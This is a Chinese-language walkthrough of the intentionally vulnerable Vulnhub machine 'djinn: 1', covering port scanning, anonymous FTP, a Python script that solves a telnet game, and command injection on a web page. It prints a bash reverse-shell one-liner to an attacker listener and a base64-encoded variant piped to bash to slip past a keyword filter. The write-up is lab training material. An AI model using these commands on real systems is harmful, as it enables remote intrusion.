Vulnhub靶机:DJINN_ 1

有目标就不怕路远。年轻人.无论你现在身在何方.重要的是你将要向何处去。只有明确的目标才能助你成功。没有目标的航船.任何方向的风对他来说都是逆风。因此,再遥远的旅程,只要有目标.就不怕路远。没有目标,哪来的劲头?一车尔尼雷夫斯基

导读:本篇文章讲解 Vulnhub靶机:DJINN_ 1,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com,来源:原文

介绍

系列:djinn(此系列共3台)
发布日期:2019 年 11 月 18 日
难度:初级-中级
Flag : 2个,普通用户的user.txt和root用户的root.txt
学习:

  • gobuster 目录扫描
  • ftp 匿名登录
  • bypass 命令执行漏洞
  • 反弹 shell 的使用

靶机地址:https://www.vulnhub.com/entry/djinn-1,397/

信息收集

主机发现

nmap -sn 192.168.40.0/24

在这里插入图片描述

主机信息探测

信息探测:nmap -A -p- 192.168.40.151,开放了21、22、7331(http)等端口

  • ftp允许匿名登录
  • 扫描ssh时被过滤了
  • 1337不知道是个什么端口
  • 7331端口是个 python环境的 web服务

在这里插入图片描述

在这里插入图片描述

测试1337端口

用nc连接了一下,得到提示,连续正确回答问题1000次,会得到一个礼物。不知道这个端口到底运行的是什么服务类型,因此不好使用python导入相关的库文件,暂时放下这个端口,先看看别的服务。
在这里插入图片描述

补充:后续在网上找到相关资料,此端口运行的是telnet服务,有如下脚本:

# coding:utf-8
import logging
import telnetlib
import time
import re


def main():
    try:
        tn = telnetlib.Telnet('192.168.40.151', port=1337)
    except:
        logging.warning("errr")
    time.sleep(0.5)
    loop = 1
    while loop < 1002:
        data = tn.read_very_eager().decode('ascii')
        print(data)
        res = re.search('(.*?)\s>', data).group(1)
        datas = str(calc(res)).strip()
        print(str(loop) + ":" + datas)
        loop = loop + 1
        tn.write(datas.encode('ascii') + b"\n")
        time.sleep(0.1)
    data = tn.read_very_eager().decode('ascii')
    return data


def calc(res):
    res_str = res.strip('(').strip(")").replace("'", "")
    muns = res_str.split(',')
    munber1 = muns[0].strip()
    orperator = muns[1].strip()
    munber2 = muns[2].strip()
    res = eval(munber1 + orperator + munber2)
    return res


print(main())

计算了1000次之后,得到了一些数字:1356, 6784, 3409。这些数字可以用来开启SSH服务。
在这里插入图片描述

安装Knockd,打开SSH:apt install knockd
参见:通过Knockd隐藏SSH,让黑客看不见你的服务器
在这里插入图片描述

测试21端口(ftp)

直接尝试空用户名和密码登录失败了,额,,,,,实际上好久没接触过ftp了,都不知道怎么匿名登录了。那就抓个包看看nmap是怎么匿名登录的吧
在这里插入图片描述

直接搜索success关键字
在这里插入图片描述

在这里插入图片描述

得到用户名:anonymous,密码:IEUser@,开始登录,并下载文件
在这里插入图片描述

通过ftp服务,得到了以下信息。

  • nitu:81299,不确定是什么意思
  • 1337端口上有一个小游戏,我们如果能胜利的话会得到一个奖励
  • @nitish81299,看起来像是一个密码

在这里插入图片描述

测试7331端口(web)

打开网站,没什么有用的信息
在这里插入图片描述

尝试目录扫描

gobuster dir -u http://192.168.40.151:7331/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 100

在这里插入图片描述

访问/genie目录,页面403,屏幕上方有一段内容看不清晰,通过审查元素看到写的是:It’s not that hard
在这里插入图片描述

访问/wish目录,看起来像是命令执行,测试一下,一旦执行下面的命令,页面会跳转,并通过审查元素可以定位出命令执行结果
在这里插入图片描述

在这里插入图片描述

命令执行-反弹shell

既然都可以命令执行了,那就反弹shell吧。
kali监听:nc -nvlp 4444
命令执行:bash -i >& /dev/tcp/192.168.40.129/4444 0>&1
但是失败了,页面显示: Wrong choice of words。猜测可能是内容被过滤了。
在这里插入图片描述

尝试base64编码绕过,顺带着启动bp,方便调试。

  1. 得到base64编码的命令:
┌──(root💀kali)-[~]
└─# echo "bash -i >& /dev/tcp/192.168.40.129/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOS80NDQ0IDA+JjEK
  1. 解码base64
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOS80NDQ0IDA+JjEK" | base -d | bash

按Ctrl+U,编码快捷键
在这里插入图片描述

获取第一个Flag

发现有两个用户sam和nitish,直接查看文件,权限不允许
在这里插入图片描述

一番搜寻之后,在 nitish 的家目录下发现了 nitish 的密码,拿到第一个Flag
在这里插入图片描述

提权

尝试使用sudo提权,发现了genie,暂时不知道咋用的,看一下使用说明。
在这里插入图片描述

看不大懂,直接百度一下得到提权的用法。
切换到 sam 用户,再次尝试sudo提权,发现了/root/lago
在这里插入图片描述

看不大懂,直接百度一下得到提权的用法。
在这里插入图片描述

获取第二个Flag

之前没能看到的user.txt
在这里插入图片描述

最后一个Flag
在这里插入图片描述

总结

  1. nmap端口扫描,发现21ftp、22ssh、1337服务未知、7331web
  2. 21端口通过抓包得到匿名登陆的账密,得到一些信息,但一直没有用到。
  3. 22端口被过滤了,后来通过完成游戏,使用Knockd开启了此端口,但后续一直没有用到。
  4. 1337端口是个小游戏,胜利之后会得到一串数字,可以用来打开ssh服务,但后续一直没有用到。
  5. 7331端口是web服务,使用gobuster进行目录扫描发现子目录,测试出命令执行漏洞,获取反弹shell
    a. 通过搜寻文件获取普通用户的账密,并切换身份。
    b. 两次通过sudo提权

参考

通过Knockd隐藏SSH,让黑客看不见你的服务器
djinn: 1 vulnhub Walkthrough

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134251.html

(0)
飞熊的头像飞熊bm

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!